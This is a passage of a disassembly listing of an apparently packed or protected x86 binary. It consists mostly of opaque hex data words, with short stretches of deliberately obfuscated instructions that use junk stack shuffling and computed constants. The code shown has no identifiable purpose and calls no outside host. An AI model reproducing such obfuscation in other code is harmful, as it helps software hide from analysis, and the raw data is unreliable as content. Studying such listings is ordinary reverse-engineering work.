0BD900AF3h, 23BFB046h, 1F073796h, 0C6E580A7h, 743A597Eh dd 9BE11452h, 546FDA17h, 88AF1437h, 76612FB3h, 361C2560h dd 68D3F045h, 0B60F2C4Fh, 8CB7902Eh, 2398C10h, 0C2C4F859h dd 1B385D7Ah, 0C4E784A3h, 0FB675C7Bh, 38A3C98h, 31AD3DF9h dd 0C3ABF84h, 0BD000000h, 1C0F5C12h, 0B43633A2h, 52109701h dd 0D1F2C9EEh, 56754E69h, 0D0F3C8EFh, 5172496Eh, 0D3F0CBECh dd 5172496Eh, 0D5F6CDEAh, 5073486Fh, 70F3C8EFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 23CBh mov [esp], ecx push 4045h mov [esp], esi push eax mov eax, 3D861E29h inc eax shr eax, 2 push esi mov esi, 49307136h add esi, 56C87427h sub esi, 1E933189h neg esi sub esi, 2A49336Ch add eax, esi pop esi xor eax, 137864C3h xor eax, 7680A952h mov ecx, eax pop eax push 1B28h mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ecx pop dword ptr [esi+8] mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_550F18 ; --------------------------------------------------------------------------- db 24h dd 6385BE7Ch, 90714D83h, 784EB8D2h, 0C503064Ah, 0E99BE0FFh dd 0C1EB0F25h, 0C8D271B8h, 0D5BA6C4Ah, 83A44E87h, 10B54982h dd 8D8D266Dh, 64A79EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 4C35646h, 29F5BF51h, 895F1FCFh, 442F5D8Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0C935B547h, 0DA8B669Ah, 67985C7h, 5FE80644h dd 81660000h, 0C7E3B6EBh, 44107185h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD89AAAFh, 64431A5h, 8D1653B8h, 49B5FF2Ah, 6A064416h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0EA44C355h, 2C520B74h, 0FFACEC2Fh, 440BF995h dd 0FF006A06h, 441C4D95h, 0EBC08B06h, 0C41E5F2Dh, 6388631Ch dd 993E69D4h, 1D424CA3h, 7961CAC7h, 50A3BD68h, 0D761808Ch dd 0A32C2638h, 59E76E71h, 6C64FC31h, 6D3BA0C1h, 11E8EF05h dd 72000000h, 852F3BAAh, 0CE6CBB1Ah, 1980141Fh, 68A80D53h dd 68C0Fh, 0BD890000h, 644222Dh, 0D9D8B59h, 8106440Eh dd 6AF4C1h, 75B58B00h, 0BF064428h, 1A96h, 291B501h, 31FF0644h dd 2820Fh, 88B60000h, 72C08158h, 0E94FCADEh, 5, 9F54E352h dd 0BDF081ABh, 232966F2h, 440A7D9Dh, 0F5C08106h, 891BF3A5h dd 4408599Dh, 0B5315006h, 6441EBDh, 6060018Fh, 89F78B66h dd 442121BDh, 83616106h, 816603E9h, 49637BCBh, 0EF83D58Ah dd 0A3850F01h, 51FFFFFFh, 2AB7CB81h, 0EB5B1225h, 0A43CE904h dd 592E91Bh, 21830000h, 0B82C12BBh, 279BA50Ch, 0BD221CB5h dd 1E88B61Fh, 32D0FA6h, 9C35AF19h, 288143A2h, 9831AB16h dd 2E873DA6h, 0EA910E6Ah, 0E3C2E619h, 76EFD1B5h, 153486CEh dd 4109BB2Bh, 60D067Fh, 12BDBC4Dh, 0CEF06948h, 0D292F358h dd 2F4B6A4Bh, 940DB711h, 0A71D8BB5h, 0FE571F3Eh, 0D6A463C0h dd 53CCBD40h, 9A41DEA0h, 33C92F9Bh, 94AA3312h, 57F3E62Fh dd 1C25EBE1h, 0FA67593Dh, 0B2FADB42h, 10714F2Bh, 6ADAE4ACh dd 0E55D63FAh, 73D0EE77h, 9DE668F1h, 853FA491h, 0F98BEFA4h dd 6A4377EFh, 0EC97DF36h, 0F470D542h, 0B06BF490h, 51C92FB9h dd 0F6D74EF6h, 40E9A180h, 0F059037Eh, 70E953CEh, 0E13ED74Eh dd 5C0A4327h, 0BFC75E7Fh, 7920BFDBh, 52C92FCAh, 0D6403B73h dd 39AB1D23h, 0CA17C25Dh, 91B0C92Fh, 0C07CE7D9h, 69EE5769h dd 0C7846FEh, 0C1E0C158h, 0B92B9BA5h, 0D0490120h, 2FCA894Fh dd 501470C9h, 0D58FF7C9h, 0D15D264Ch, 0BC661D7Bh, 0F3E9EF57h dd 950E3001h, 0A997B62Fh, 3011883Ch, 4D2878h, 4F9A0000h dd 68F76ED6h, 0C93094AFh, 46AB770Ch, 1F4B3DEh, 117h, 7115A500h dd 30942BEEh, 0F5BD9CC9h, 70E95BCBh, 0F76ED64Eh, 7DE458C9h dd 59205236h, 7D1ABF29h, 8A94EFA7h, 228B39ADh, 0FEBD2246h dd 0CFC93037h, 2B98A6EEh, 4FA210B9h, 0CCF26BD9h, 6064BF58h dd 0EB2B7C2h, 1D88B62Fh, 0A1003EA7h, 6D3AE17Eh, 0B293C930h dd 0FF840A93h, 0A3C7D933h, 25BC289Dh, 0EB374C04h, 0ECAF3054h dd 0DDC9306Ch, 1C8AB4FCh, 37A8CCA8h, 0C9306D84h, 5127950Dh dd 0AF913870h, 29178E36h, 6AA950B9h, 830F832Fh, 0B7C5E570h dd 0C6E7C16Ah, 4300615Fh, 0D9F861E3h, 0E65F61F8h, 0E49FE77Eh dd 0FE85C23Ah, 9567CF34h, 518C01F4h, 3E000000h, 0F26BD94Fh dd 71E854CCh, 22D5413Ah, 0A33AAA1Ch, 94A158C7h, 0B2AC930h dd 0EA5C622Ah, 8AEF9829h, 614017D9h, 0D490F6C8h, 0AE0E734Dh dd 1F0B7037h, 0F42BDA3Ah, 581B01h, 4FA90000h, 0CCF26BD9h dd 147EE755h, 0F056C36Fh, 0B52E1074h, 5CEE470Fh, 1472D74Fh dd 0C9E8C950h, 9409CF50h, 95F0C930h, 1988B62Fh, 9B043AA3h dd 0D299B821h, 34DC7DA9h, 666CCA6h, 0CDB6D0F1h, 0CC88FC61h dd 0EB9901F3h, 0A7681C4h, 98EACB52h, 246C8BA9h, 174h, 0D34FC600h dd 9408B32Ch, 1F89C930h, 6B1D3CA5h, 880E384Ah, 0C77430E2h dd 0E4417FE6h, 0FF600460h, 0C9305F3Ch, 7DE4AC8Dh, 47B47E05h dd 8EC861DBh, 0ABCFABE2h, 305F8534h, 0BD2246C9h, 0C9305EFEh dd 87CFEECFh, 7C0E7CE3h, 7E5FCF74h, 1FBD241Ah, 93F0CE57h dd 0DD4678D1h, 0FE9AFE67h, 0EC6BBA61h, 7A3213C2h, 0EC6B34E5h dd 2CF68DC2h, 47EE56CFh, 0C1580C79h, 47DE86FFh, 41F82259h dd 125A027Fh, 0A40DB72Ch, 803BA4C0h, 1C2EC6Bh, 84A53CA0h dd 0AD9BD3F2h, 0FBB08A39h, 150FAh, 9B374800h, 8D127612h dd 0C93093CEh, 0FC60C1FFh, 6EF195DDh, 0CF74C21Ch, 0EBD54C6Dh dd 763CA7Ah, 5CC09675h, 2C649F99h, 0AA33B112h, 0D1B52F94h dd 126F2AB5h, 6658C2ECh, 2E6647FDh, 0E71A89B7h, 0EC12C178h dd 0A2B0AC2h, 8A3AAD93h, 0CB82D13h, 4FBD6912h, 13002A51h dd 0D73661B2h, 0CEA39394h, 147046EFh, 21FBAFEAh, 6Ah, 169F3793h dd 947EED72h, 0EECFC930h, 9431E877h, 6DD2C930h, 9466158Ah dd 4667C930h, 63C0FE67h, 8DF678E1h, 0CA71EEA1h, 3C93094h dd 0E98D0322h, 6CF56FD7h, 0B47E054Dh, 1C3231Dh, 0B7F1B998h dd 96F2961Fh, 30945209h, 0DC457BC9h, 6D094160h, 309497F2h dd 95F1D0C9h, 2A9936ABh, 2B0A2BB2h, 72DB93B2h, 7CE6h, 9B375400h dd 97E97612h, 0F6CF74A0h, 13704ED7h, 5DC6F851h, 78E783E7h dd 0C2EC88C1h, 10CC340Ah, 7FE07931h, 0C2EC89B7h, 9943BEh dd 871EC63Eh, 916BB7CCh, 0B99680FBh, 7731984Ch, 0A93652DBh dd 0C93702B1h, 1CC1221Ch, 82A33AAAh, 4F56D1A3h, 1C63C1D4h dd 299AA43Dh, 215A22BBh, 603042F5h, 0B289A0E8h, 0BECE4E3Ch dd 56FEC70Eh, 62B8581Eh, 6624301h, 6C9FA199h, 0A40D2CCFh dd 0BA2B1516h, 6C04420Ah, 0DEDA4521h, 6FCF7B0Eh, 6B4AF251h dd 0ED57CCF2h, 5B097A44h, 0D6F45DC2h, 374CE0D4h, 2F950EEBh dd 500C754Bh, 168FB118h, 0CEC574EBh, 2706AD8Bh, 40A19F06h dd 67D059Ch, 1EC63F1Ch, 27A1D3B7h, 0D6C0BCEh, 8D3CF6A2h dd 0CE7670FFh, 0FF2CC8F0h, 0C38BAAB5h, 45DC88FDh, 15D1h dd 67156300h, 0AA2B6EBBh, 3F074F5Bh, 0C366295Bh, 0BF63E4D4h dd 0D54F45F7h, 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h dd 61C7F960h, 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 68EDFA63h dd 4954h, 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h dd 3C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 51241489h, 0B32C79B9h, 0FF514915h, 8159240Ch, 0CE60D7F1h dd 14E98175h, 815BFE7Fh, 34B740F1h, 59CF8902h, 24148B54h dd 6804C483h, 503Fh, 8F243C89h, 34FF0842h, 0C4835A24h dd 243C8B04h, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFF9FEBEh dd 0C8C389F4h, 4A7FD5B8h, 0FFC50306h, 70EDBE0h, 0A3A84249h dd 9A5DE27Ch, 195AC575h, 0D4503802h, 0DC45A442h, 3F16B34Bh dd 0C281F374h, 0C27B492Eh, 3C1B6F0Dh, 749EB877h, 0C5A1C053h dd 363D4448h, 3C991C36h, 0BDEEE324h, 0CEBCBE01h, 6911A271h dd 4D5D8239h, 0F4F58A7Ch, 8EB78h, 0A5000000h, 0E95A0DB6h dd 4F7h, 4A81BD68h, 0FE4CE906h, 5068FFF9h, 0E9064A82h dd 0FFF9FE42h, 4A83E468h, 0FE38E906h, 35AFFFF9h, 0B4102E87h dd 3BA79930h, 0A9162881h, 42A49A33h, 1F092B82h dd 0B019CB3Dh, 4AD178Eh, 0BC15C73Ah, 0AA32182h, 6B52A4Eh dd 0C7C2E614h, 0D94F2391h, 57CCF26Bh, 6E0244EDh, 96DC4327h dd 0D7CF74B5h, 350B6FF6h, 0AC8D14D0h, 73BC7BE4h, 473CC2ECh dd 930E76DBh, 6F27FBB0h, 95000003h, 0B55DCEC2h, 93F7A23Dh dd 0EED0C930h, 0C9E8C973h, 33BBC9ADh, 0D7821DDEh, 0F0C93043h dd 3148A3D1h, 542AB5FDh, 0B5CF7433h, 0C2B0D494h, 59F512CFh dd 25BAF28Ah, 0C05163EBh, 5B3F761Ah, 52D08EC4h, 8AEECFD4h dd 0B8CA71EEh, 3D03CBCAh, 0A3821BC9h, 1553CA82h, 3054307Dh dd 672F950Eh, 0EF2A2F8h, 0AECAEBD2h, 18B13390h, 61DE427Ch dd 357D5C00h, 8F2A9A0Bh, 86CD8883h, 5D841089h, 0F2000003h dd 0BB852C90h, 0E30994Bh, 0BD832A92h, 0F319844h, 0A0822B99h dd 0A2228478h, 12D2350Bh, 0BE1E85BBh, 8BC2917h, 1E81E5A1h dd 0C2E6135Bh, 15883A6Ch, 9108BC2Bh, 12BEF8B0h, 60C1FF9Bh dd 0E1C084E3h, 5852CDA9h, 91CF7B15h, 108933AFh, 1430EB74h dd 0B899C2E6h, 0B8DCB899h, 0E6147427h, 0FC6B55C2h, 45216948h dd 22A71F21h, 682001C3h, 0DD74F056h, 46DF85E3h, 3AAA1C22h dd 0B8249DA3h, 864ED199h, 8FC2E614h, 190BAE16h, 0F845911h dd 2CA0296h, 0A51F0000h, 44A09E37h, 0AB172980h, 39A69831h dd 0B2142A83h, 6FB99B32h, 0A91B8Dh, 0B41DC73Eh, 0CA5178Ah dd 0BA13D132h, 56059AFEh, 77C2E612h, 9B379321h, 0E3E97612h dd 2ACF7B14h, 4A0D920Bh, 33C2E614h, 0B68811D3h, 6C08914Bh dd 0E61448F3h, 0D8A081C2h, 0C28577A3h, 1C886DB9h, 0EDFBAA2Fh dd 4896AE9Fh, 73ECD146h, 0C2E604C8h, 49012001h, 1E919h dd 0D64FAB00h, 92780A6Eh, 9E1A66D8h, 0B6881159h, 0A91B884Dh dd 74D2EC88h, 0EF55CEF0h, 0B61F5776h, 0B1D560F0h, 73F5342Eh dd 7CE387CFh, 0C2EBB4BDh, 0B0112F0Eh, 0FCB4950Ch, 0AD32AB8Ah dd 0C2EBB3EAh, 0A08591EAh, 0FBAFCF44h, 27F1h, 9B374300h dd 53E97612h, 0A8CF749Fh, 2EB72D96h, 1031470Fh, 895F1689h dd 2A51C2ECh, 0A8AB1B00h, 0E48FBB0h, 0FA000001h, 0B42BD64Fh dd 0C9309405h, 68D9E7C6h, 284CD5F4h, 9428D34Ch, 80A1C930h dd 0D490F6C8h, 4D12734Dh, 0D0F168D4h, 52CB71EEh, 0AFCB5273h dd 4884B2DDh, 0BCF4FE71h, 0AA32182h, 0EA711C6Eh, 0AE1CC8Fh dd 0D3E0342Ch, 0F476662h, 3059C390h, 511370C9h, 0BCE5135h dd 0BCC93059h, 3A7CD59Dh, 3D424C96h, 912BFFFEh, 8FAE8F35h dd 74EB8FEBh, 0C92FAFC5h, 0F06F2706h, 0CF765501h, 1B7F1B3Ah dd 0EA53D584h, 0B3D7F6C2h, 0EA546D2Ch, 377F5EC2h, 0BC453753h dd 613366BFh, 2284BAF2h, 0F9646BDh, 98A60F2Eh, 0B13B62Eh dd 717BAA22h, 1367CE8h, 39AB0000h, 0B0142A83h, 3FA39D34h dd 950A349Dh, 56B08E27h, 0BB6547EEh, 0D47DE741h, 60C97BEAh dd 0D079E35Eh, 66CF75EEh, 22D94622h, 0ABC2E611h, 0D94F4FFDh dd 2590DD38h, 3092FFBAh, 9BE9C8C9h, 2F971043h, 2C0D2CB5h dd 299AA40Dh, 127612BBh, 300ECE8Dh, 0BADEFFC9h, 300F7625h dd 3E7657C9h, 0EE71158Ch, 0C930942Bh, 9F3DA29Ch, 5BC8F6BEh dd 0D54E70E9h, 0F080C66Fh, 0C1A5C1A5h, 30949B5Eh, 450D2CC9h dd 74E270DAh, 0FD99EBCFh, 0D4920D43h, 4C0251Bh, 82F4BC9Dh dd 8FF9C7A3h, 89F855CAh, 7AD3F2D3h, 0EC8B32E5h, 0FA6ADBC2h dd 0ECE0EC9Eh, 6FE3AC58h, 56B08E27h, 79E377EEh, 87000000h dd 5EBD7CE3h, 2F0EC2ECh, 7115D567h, 30942BEEh, 0F5BD9CC9h dd 0F2961FB3h, 7B15636Dh, 1A83A2CFh, 0AC05BF24h, 0D78DF6C8h dd 19276F4Eh, 37E27DACh, 90C2E614h, 960990B1h, 1F2D4486h dd 3815017Ah, 437D19CBh, 9F367EDEh, 198044A1h, 9B02BA27h dd 188143A5h, 9C05BF26h, 0ABA18DF6h, 917EA8D3h, 7D19B034h dd 0D35A130Fh, 246C45B7h, 0A23BA91Ah, 336h, 0FB498400h dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 173368EDh dd 1C890000h, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h dd 68243C89h, 2DDAh, 56241C89h, 4A80E068h, 0F7895E06h dd 4EC835Eh, 81242489h, 42404h, 815B0000h, 4ECh, 243C8900h dd 8B08438Fh, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 24348700h dd 2434FF5Ch, 4C4815Fh, 0E9000000h, 0FFF9F96Ah, 47968122h dd 0D0F7A54Fh, 0B8BC41C3h, 64A853Fh, 0E0FFC503h, 105B4F65h dd 329EAAE2h, 783921BEh, 3D542093h, 5E279381h, 4F058995h dd 7D4DCA12h, 492D1FEh, 6936C9BAh, 2182DFF8h, 7AA5D7Ch dd 29461F32h, 264B7CF3h, 26358CBEh, 308B8132h, 65FC62EDh dd 6E8h, 93E90100h, 5873CD3Ah, 81CE8B66h, 723FC0h, 30BABA00h dd 67BB412Eh, 5300001Ch, 0A2C0EF81h, 0FF5A5583h, 5ED78B30h dd 2840F52h, 56000000h, 0C681595Ah, 7178DE1h, 9E8h, 0CB011300h dd 19466A47h, 815F0969h, 5C9CA0EEh, 8C0F48h, 81000000h dd 49829BC6h, 89D18A77h, 83CF8B30h, 88B101E8h, 0F484848h dd 8Ah, 1EB8300h, 17850Fh, 850F0000h, 5, 16E78166h, 22E9E0h dd 1BCD0000h, 0E1A0E7CFh, 71F680C1h, 0FFFF8EE9h, 68F091FFh dd 74699AFAh, 0F11B980h, 0CA0C8437h, 0BF395B8h, 8E8h, 3686E800h dd 117C2D4Bh, 54E9B954h, 665F120Ah, 0C781C78Bh, 5D43h dd 8BF62BF5h, 0D7803714h, 6BEA813Ch, 660AFF84h, 5FDFD081h dd 0FF65C281h, 0EC8030EAh, 0F2F281B6h, 0B531CFBAh, 0E9815200h dd 13668D3Ah, 8037048Fh, 0B9664FECh, 0EE83541Fh, 81666001h dd 0F31FDF2h, 4E61C9BFh, 81F94E4Eh, 0FFA370FEh, 38850FFFh dd 60000000h, 0E859F856h, 14h, 0A8528FEFh, 5D2AED27h, 0C91CCAD8h dd 95BB2973h, 0DF42C614h, 615BF38Bh, 27E9h, 4B3B9600h dd 0A01B9070h, 0B3EB1A15h, 0CEF88C28h, 60FFF853h, 58616053h dd 6CE961F9h, 0B3FFFFFFh, 4738AEA3h, 9767F3B1h, 881E8D8Dh dd 0D18B064Ah, 2F5D8D89h, 6A0644h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0D4350EC3h, 0A23E5EBh dd 0F78166F8h, 85C7A594h, 6440679h, 6CD4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BAC35343h, 50EC1351h dd 292E6A3Fh, 4403CD95h, 7185C706h, 64410h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 2884C352h, 21118D89h, 0B5FF0644h, 6440C0Dh dd 3CC08166h, 0F995FFA7h, 8B06440Bh, 4408B5BDh, 0FF006A06h dd 441C4D95h, 0EBC08B06h, 445A5F6Ch, 0EF287C6Eh, 0E9A8541Eh dd 0EC70B744h, 55745CFFh, 0CAF145EFh, 0B474BD6Bh, 0E9C8E845h dd 188692A4h, 4C256463h, 0F8A8FDDCh, 960F8AFAh, 0DF4726F5h dd 0D107B5Dh, 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh dd 0C0308C60h, 38AC60Ch, 0B0FBB735h, 433F3F8Bh, 6309A631h dd 0AB9EBE27h, 38C212Eh, 0AF196417h, 9A3B1720h, 2D8D8DC0h dd 89064A89h, 4406E1BDh, 5D8D8906h, 0C706442Fh, 44067985h dd 704006h, 7185C700h, 64410h, 8B000000h, 4403E585h, 6DB5FF06h dd 6A064419h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0F746C350h, 0E913BA3Bh, 11h, 74AA05E6h dd 21DFBB4Bh, 0B84EFC13h, 0AEE5BC59h dd 0FADB816Ah, 0FF30F39Ah, 440BF995h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0F781F530h, 4B26ED1Eh, 95FF006Ah, 6441C4Dh, 6AEBC08Bh dd 600A0A54h, 0FAA4D1C3h, 545A0F9Eh, 0CC6565B4h, 6D2F33AEh dd 76EC99B1h, 34A07449h, 8081A4D6h, 393C060Ch, 0E098CB64h dd 53BB810h, 0D02EB8ADh, 751202D0h, 67F056A9h, 6DB6F34Ah dd 12C53CD2h, 2BC0A5CEh, 989E6DCAh, 0EB07C13Dh, 0D0A6960Eh dd 1E9AF98h, 0B80DE3C1h, 0DD9CC50Eh, 0D5FC907Bh, 1CC3BD48h dd 6096B030h, 8D8DC79Fh, 64A8A87h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 34C35141h, 591C7A9Bh, 0FC5A9148h dd 14E8h, 3326C00h, 74C2375Dh, 0A47139A3h, 93B0739Ah, 242E0493h dd 85B5236Eh, 5E064419h, 2F5D8D89h, 6A0644h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EAFFCAC3h dd 0D4E6BDBDh, 19B58982h, 0C7064421h, 44067985h, 714006h dd 0C2816600h, 85C72654h, 6441071h, 0 dd 1F6D9D8Bh, 0B5FF0644h, 6441099h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 2C35141h, 0CD87F5D1h, 0E6D8817Eh dd 0FF6BB0B2h, 440BF995h, 14E906h, 410000h, 0D84F64FDh dd 9FE06D2Ch, 1288E47h, 0FC67B212h, 6A6D42h, 1C4D95FFh dd 0C08B0644h, 40954EEBh, 22A0D269h, 6B1D035h, 0BE6DEA4Fh dd 0A95EA584h, 583E46C9h, 2A857FC2h, 7A10B225h, 6A789A83h dd 0B2F5DA11h, 3104AC40h, 0EE6A7FA1h, 9CB2F9B8h, 40BF640h dd 499D0DE6h, 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h dd 0DF765AA1h, 8E8h, 0D6C2B900h, 9EEFA82Ah, 0E95EFC6Ah dd 11h, 4330A5BEh, 0D9201130h, 5F51CE46h, 5CC9EF29h, 0CAC6819Eh dd 0E9000066h, 0Bh, 0AB17D02Bh, 3384FCD1h, 0BAD3DF9Dh dd 198Bh, 2EF1B966h, 8C0F36FFh, 16h, 11E9h, 53BCFF00h dd 0B82E1046h, 2B6499B9h, 3710A5DEh, 815B071Fh, 8C23AFC3h dd 81C0B059h, 6B4EA8EBh, 898D015Ch, 81064414h, 66CBFAC3h dd 0CD858B6Dh, 8906440Ah, 0D595311Eh, 81064421h, 236AE6EEh dd 0E2C68164h, 0F964236Ah, 0F01EA83h, 0FFFFA385h, 19BD8BFFh dd 0E806441Fh, 0Ah, 0EB1E9CF0h, 0DB3812D7h, 0B58B6846h dd 6441DC1h, 619D8959h, 81064422h, 5FACC1h, 5DBD3100h dd 0BA064400h, 0 dd 25398523h, 1C8B0644h, 39B58911h, 81064409h, 849230F3h dd 59BD897Ch, 81064400h, 0EF5891EBh, 0C1BD8B4Ch, 8106441Fh dd 0B19ED2EBh, 6800F7Eh, 81000000h, 3774D5E6h, 0B70F530Bh dd 11048FF8h, 67D9589h, 0BD8B0644h, 6441535h, 0F504EA83h dd 0A0E0FA81h, 850FFFFFh, 0FFFFFFAAh, 68E0Fh, 858B0000h dd 6443041h, 8C858D8Dh, 890F064Ah, 6, 33999D8Bh, 8D890644h dd 6442F5Dh, 0C75AE080h, 44067985h, 6CDC06h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 6660C53Ah, 0F587ABAh, 0C761D2B7h, 44107185h, 6, 6DB52B00h dd 0FF064431h, 440D55B5h, 95FFFC06h, 6440BF9h, 95FF006Ah dd 6441C4Dh, 1EEBC08Bh, 0B7743699h, 43E44F20h, 1DBBF144h dd 3E1D2306h, 0AEE61765h, 0C8144765h, 809F8395h, 8D8D42FAh dd 64A8D54h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0EC35343h, 8D89FCF2h, 6442F5Dh, 67985C7h, 717C0644h dd 0DE90000h, 0B4000000h, 19F38389h, 0BDCFD19Ch, 0E7135270h dd 107185C7h, 644h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0F5872DC3h, 9D8B9ADDh dd 6443011h, 196DB5FFh, 0EE90644h, 83000000h, 0F699CB73h dd 6C7ECAA2h, 0C17B0C43h, 0F995FF55h, 0E906440Bh, 0Bh dd 23A428BBh, 0AEA0AE7Bh, 6A78F6BFh, 4D95FF00h, 8B06441Ch dd 9A6AEBC0h, 419F8AEAh, 954F37C0h, 647A5330h, 61FD1712h dd 0ECA3792Ah, 70EA68C0h, 0A6CB3AF9h, 7D91F5B3h, 7E178DF9h dd 59167917h, 0D1C59572h, 401E43B6h, 1D602458h, 0B17F4E2Dh dd 9E2C931Bh, 831ABDC9h, 0E43CE3FAh, 0B8CDF19Eh, 53755C4Eh dd 709FF369h, 0F71FE784h, 0BDF8B1CAh, 0BFE7E433h, 27149489h dd 0A7AE9819h, 1B8FAEF0h, 0A08D8D81h, 6A064A8Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0FF20C357h, 0D17FAE60h, 3076C568h, 523FD080h, 3FDEF081h dd 89581613h, 442F5D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0FB8B66F0h, 67985C7h dd 680C0644h, 0BD890000h, 6441AB9h, 107185C7h, 644h, 0DA8B0000h dd 2A85B589h, 0B5FF0644h, 64408DDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 5DC35545h, 970D107Bh, 0DE3CDD0Fh dd 0FFD08B70h, 440BF995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 774E9595h dd 519D8B62h, 6A064420h, 4D95FF00h, 8B06441Ch, 227CEBC0h dd 1D979B6Fh, 344BAFCAh, 18D14FD3h, 364DE6C4h, 25C1EB80h dd 2B235447h, 6170E2AFh, 0CA9C5C27h, 9ED13D28h, 80972854h dd 72A9C942h, 751C645h, 9D8A60FBh, 961CE9D0h, 7136BC34h dd 6A84952Bh, 0AB1C4CE5h, 5DEA1FE4h, 0D27D8018h, 71F4976Ch dd 5D557219h, 1E191569h, 3DD322DEh, 0F0B1329Ah, 5AAC4E48h dd 96CD2F13h, 2411AC9Bh, 0AF8D8CBh, 881DDDF6h, 56A7246Dh dd 0E80C9B36h, 11h, 8071DD42h, 0D0CFCE9Ch, 0A841B74Bh dd 94B863CCh, 25858B35h, 5F06440Ah, 0CF1858Bh, 0C7810644h dd 6AE0h, 0BBC1BF0Fh, 0 dd 0E3C2B966h, 663B34FFh, 95AC88Bh, 4406BDB5h, 81F28106h dd 893C0E63h, 4425AD85h, 0E5F28106h, 6652A7F9h, 81CB44BEh dd 379951EAh, 0CB8B6611h, 891F1489h, 441E7DBDh, 0D5858B06h dd 83064409h, 9E804EBh, 67000000h, 4729E77Eh, 93AFC2A8h dd 30B98523h, 815E0644h, 0FF95C0FBh, 0A1850FFFh, 0E9FFFFFFh dd 10h, 0EA292C8h, 13164EFh, 34C0C879h, 2B1928B6h, 90E48D8Dh dd 6A064Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0B7E5F7C3h, 60BE31ABh, 14E9h, 16FE5600h dd 0EA7E2040h, 4EB48736h, 2EEBE760h, 81C67561h, 5D8D8952h dd 6A06442Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E950C355h, 14h, 1C1BDCC2h, 0D440F28h dd 0CF0C5783h, 0B3E738CEh, 88E67E4h, 67985C7h, 6CA40644h dd 0BD330000h, 6442C1Dh, 107185C7h, 644h, 5E80000h, 0D6000000h dd 2B7811B8h, 6F1BD89h, 0FF580644h, 440A49B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0E94C4012h, 66794730h, 0CE9h, 24E84100h, 5D12FAB0h dd 13C2E4F0h, 0F995FF97h, 6A06440Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D8E4C356h dd 0F897D0ABh, 567D07B3h, 0B219D01h, 6A5E0644h, 4D95FF00h dd 8B06441Ch, 0A229EBC0h, 11C73A4Dh, 0EB768E0Dh, 0A63A22AFh dd 52496C0Ch, 721CA512h, 0A00E6D7Ah, 0A4EAD44Eh, 14CD1565h dd 1E1B767Eh, 459D3128h, 5E8h, 631400h, 295BC44Fh, 4406758Dh dd 0C9C38106h, 8900005Bh, 4429E595h, 16DAB906h, 81660000h dd 8BB253C7h, 0F9B70F33h, 5FD0C681h, 958B7EA6h, 6440FADh dd 9D34F681h, 35B41668h, 0D386C681h, 0C78B5492h, 0B70F3389h dd 4EB83FEh, 0E0C88166h, 1E9838Bh, 0FFC9850Fh, 800FFFFFh dd 6, 1AFD850Bh, 13E80644h, 0C5000000h, 3607663Ch, 0E97CE55Ah dd 228B9500h, 14FF747Eh, 9D8914A0h, 64430DDh, 0ED958958h dd 8106442Fh, 6F95C0h, 4523BA00h, 682315h, 5F000000h, 309D8D29h dd 34FF0644h, 8E807h, 37BC0000h, 0D5BFE32Bh, 870F2949h dd 6, 86D8589h, 5B590644h, 488BA66h, 4F5DF381h, 840F7D87h dd 6, 31C1958Bh, 0F3810644h, 44703707h, 6840Fh, 95330000h dd 64423E9h, 9977F381h, 8D0F7E93h, 6, 3D9958Bh, 1C890644h dd 0D9BD8938h, 0F06441Ch, 681h, 2D958900h, 83064420h, 0D98003EFh dd 0B5894F09h, 6442999h, 9148FF81h, 850FFFFFh, 11h, 2E18589h dd 19E90644h, 97000000h, 0DB03B003h, 918D8B23h, 0E906442Bh dd 0FFFFFF5Eh, 